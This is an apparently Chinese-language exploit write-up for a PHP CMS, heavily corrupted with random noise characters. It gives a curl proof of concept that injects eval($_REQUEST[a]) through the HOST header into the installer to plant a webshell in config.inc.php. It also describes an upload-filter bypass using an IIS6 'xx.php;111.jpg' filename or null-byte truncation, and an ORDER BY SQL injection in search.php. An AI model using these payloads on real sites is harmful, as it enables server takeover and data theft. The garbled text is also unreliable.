: U0 e8 F6 H) A, E虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响4 ?' I g' W# V/ m5 [( W' l
0 X* K% D: _# d$ f6 ~
分析: , p. X) p& q m/ }, f( Y3 k ! c" Y! U J% S. W) K
3 Y" Q! B9 B$ f& }; }# S. N$ ]* D9 o
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤 . a, Q2 ]- c+ @% V2 m( R; h9 B0 S 3 m; N" x& x5 T) Q; H2 W
$filestr = fread(fopen($SysConfigFile, 'r'),30000); , I4 r" j, {: |- f $filestr=str_replace(" ","",$filestr); 3 @9 F. i: Y) h" T$ B $filestr=str_replace("DefaultDbHost",$dbhost,$filestr); ! m( q9 H, g# p6 X $filestr=str_replace("DefaultDbName",$dbname,$filestr);" B0 j! A, R; j( p
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr); 6 ? ?" _5 [$ P! i6 N( X+ [ $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);/ |* q/ K1 F. ?4 K* y5 x
$filestr=str_replace("DefaultsLan","zh_cn",$filestr); 5 k: i" ?$ l# g $filestr=str_replace("DefaultTablePre",$tablepre,$filestr); 5 Z1 s: P7 E9 t $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr); * ^, g" _3 ?8 g# c + U+ e q/ i/ _" F) t fwrite(fopen($ConFile,"w"),$filestr,30000);' z/ P" r+ A4 i# j+ [9 } ~
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^ . ~2 H, m }$ G3 q$ t% j Q" x, ^' `, T- J! M* `& @: M/ Ipoc: 1 ~* T6 ]' W' m9 q + {+ E3 B* w( F( Q$ N# Q4 h6 m: F; s?; U- B) d* l, F, }3 C5 i' b, u
1 " P T) D i+ G2 D) E$ Ucurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#" ( J; m0 [$ `& F* E1 Sshell地址: /config.inc.php ( ]( c" U0 `& T跟之前的 phpcms一样 需要远程数据库' {! I$ @' S8 R7 ~4 Q" \; |! m
9 E, K0 O# r, H, e& r4 ]
——————————————————– - H8 {' C3 `" q) \5 X上传漏洞(需要进后台):( l: L7 s* `: a. j
漏洞文件: /kedit/upload_cgi/upload.php+ G9 x6 t( m, x4 K Q
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用 " S1 e5 p$ I4 j3 ~ - U7 P" |# c3 S: W* g" h3 P 0 p" m$ W9 O" \5 g<?php$ s0 n1 n- k& [! Q
define("ROOTPATH", "../../");% } O& s9 G0 _& j0 Q9 R
include(ROOTPATH."includes/admin.inc.php");1 O/ t. j1 n; T u# P7 c/ E
NeedAuth(0); # Y- c! L4 u% m2 t* H" f8 H% d 4 e6 @ D! z4 N+ U+ d% V1 U $dt=date("Ymd",time()); ) h) ?9 @5 N b# z4 Y' W1 } e if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){5 X+ ~) E8 ~0 J; a
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777); ' q, h# Q. Z, f. `+ v0 E) o }, d7 \! [% U! @5 a9 X$ T
- E9 T* {/ O8 M$ g- ~8 r: X3 _6 Z //文件保存目录路径 ' w4 j* e! s% @" w! I$ r! T5 a $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';; D3 r ?6 p" T/ j- ?. F! f
echo $save_path;7 z0 W/ D" {, ]* Z+ a. D& |. r: J
//文件保存目录URL % I0 V4 l) S, h+ J* J0 o9 \! n $save_url = '../../'.$_POST['attachPath'].$dt.'/'; ! ~( v, }, k# y# K ' _3 ]. z: ] F1 V //定义允许上传的文件扩展名) l2 Y! o9 H: B2 M& E* r
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀% [# B5 h$ o* s2 Z; s' J% B( l
( W( Q" a/ \0 L6 U- ~8 H //最大文件大小4 a9 l+ j. w. _" ^
$max_size = 1000000;6 P/ ]4 I: N' |, ?$ A5 X) ~% e
* v' S4 }8 P; {, ]9 g //更改目录权限 % k7 G1 |/ Y: q2 u' D @mkdir($save_path, 0777);0 h+ p+ n9 K, d. c6 D
" v5 w% u) L, D, Y; r$ n1 I) f //文件的全部路径0 b; k3 n9 Z3 b' I& T
$file_path = $save_path.$_POST['fileName']; //保存文件名 k) m7 s3 {) ~6 y* t& Z' L; k6 L
; x) D8 y3 Q" b& Q+ q3 r- x
//文件URL6 b8 ?# Y! R7 R; R- F, t
$file_url = $save_url.$_POST['fileName']; X" R& i6 h/ ?5 o# K//有上传文件时 ! C8 t/ T+ e# L& o if (empty($_FILES) === false) {( `4 h( _4 e T$ U s/ W# K
5 ~, `2 Y7 x5 W- h" Y1 r; C$ H' m //原文件名 * r$ ], r) J0 C1 m7 g$ Q( \! N $file_name = $_FILES['fileData']['name'];7 @3 u1 w- r" c3 z9 C, N( X! k' w Q2 t4 B
//服务器上临时文件名8 |9 _8 D K6 _3 d
$tmp_name = $_FILES['fileData']['tmp_name'];* `; B6 u9 y9 K S
//文件大小7 g4 z$ |, @: o% i2 t8 O) {% S4 P
$file_size = $_FILES['fileData']['size'];4 M' }; }: L8 G- p2 h9 P
//检查目录. q; d7 ^4 Q! O
if (@is_dir($save_path) === false) { ( N, v K, ~% l- M alert("上传目录不存在。");$ f8 m) F5 X# y4 B3 O
}: Z0 j% _) }( {# T+ ]
//检查目录写权限 + z# |/ `) P& l- h5 h if (@is_writable($save_path) === false) {/ N1 w* L# ]4 K5 I% d
alert("上传目录没有写权限。");% p- q! p7 `& {4 P6 b% ~$ w& K! _
} J& e' y9 l2 l9 e9 Y; ]$ ^: r //检查是否已上传 & s" L/ X3 G, V4 m9 ~/ q& T/ Q if (@is_uploaded_file($tmp_name) === false) { ! C6 O* w2 l! A& X# {1 A1 I alert("临时文件可能不是上传文件。"); & V' F# F4 @6 F# e } ) Q) d% m0 ?' E6 x //检查文件大小+ E0 w2 R0 o% X' r
if ($file_size > $max_size) {$ }) K; p* r5 s! n6 {) t: D; d
alert("上传文件大小超过限制。"); - b- c9 u& |9 Y% ? }+ ^4 w+ ]( W- }; B0 R
//获得文件扩展名 " J( O% y2 V8 I" h $temp_arr = explode(".", $_POST['fileName']);: Q% R# Q1 z: l% x
$file_ext = array_pop($temp_arr); : o( n [& @ o# W( J3 F% h $file_ext = trim($file_ext);: X! n% s4 m% n3 j! Z4 R% K! j
$file_ext = strtolower($file_ext); / e5 {6 q( x5 G4 ? # \5 i' U: E6 w1 j* t6 q
//检查扩展名 ) N0 I4 t1 V) {* X- B7 a; u if (in_array($file_ext, $ext_arr) === false) { - p# t) L# k5 o' X- Q2 Z
alert("上传文件扩展名是不允许的扩展名。"); ; ?6 H9 g7 }0 z0 C% n0 o/ m } + S. v0 P0 {5 i- X* A, M , ?1 V! A3 o& q" K) i* M //移动文件 5 v2 f% @: T2 O% a) B6 ?7 [ //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^6 s/ w8 @0 {7 z, e' |) b7 w6 A
if (move_uploaded_file($tmp_name, $file_path) === false) { - H' \! e4 Q2 G2 L alert("上传文件失败。");7 i) r7 p7 I" Q! I6 w
} * G T. v: V* s' [! ]9 p! Q 8 X0 W2 D/ L7 c+ s5 U @chmod($file_path,0666);% r; Q) |4 ^. }$ Y9 }5 A
& r8 w; T$ s0 J- ] ?>9 g0 A2 T1 D d6 S
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227 J5 ]$ O3 n; I! i: K: C& ? - I- E. q8 k' M$ y1 o' _2 s/ E
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过 ( h* H2 {0 {" G: M/ r - R9 n$ W/ z4 }9 H—————————————————— 5 i0 z6 W0 x) d: |注入漏洞: ( M5 R. t1 u0 k; F漏洞文件:search/module/search.php 4 x( \0 H" h* P/ ?# H; U3 f/search/index.php?key=1&myord=1 [sqlinjection]$ B. E, n0 v5 j( a/ f$ X: E$ r
6 F( t3 F4 M% t4 Y4 a W ( B9 h# n/ M- u<?php, F9 k" @' V& O9 A% A5 c
// ... 省略 n 行...$ F( ^% g3 C1 _1 A
//第18行:9 j; Q. M3 v5 R, `0 l9 n: n
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响 1 h1 ?+ n# A' @+ ? $page=htmlspecialchars($_GET["page"]);7 v7 C) h+ t& L' S* t7 w+ @, U
$myord=htmlspecialchars($_GET["myord"]); , f& L+ o. z( t. ]( S2 _ " b* L- q4 B7 e( E5 P. ^' q9 z0 D // ... 省略 n 行... . v. ?# e7 l) k/ O2 {! O F/ a" X* d) g $key,$myord 两个参数带入查询 ( s% d' |: R+ @% z, _ //第47行 $key: , y+ y# }& e M8 n5 l* e% ~' H& _8 Q # g1 i# x/ h3 s* S) u) j: ?" H9 j' ? $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..9 b( P+ l/ B, ]* B+ ?
6 E* e& ~( N J2 O& h! P //第197行 $myord$ V+ Q+ m; K) s9 ?0 C" L$ i+ d8 U
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入( V& q$ O. U) u2 y
$ j T% b9 M+ m0 f: {' F
?> ) U9 q. i' l( a: N- g C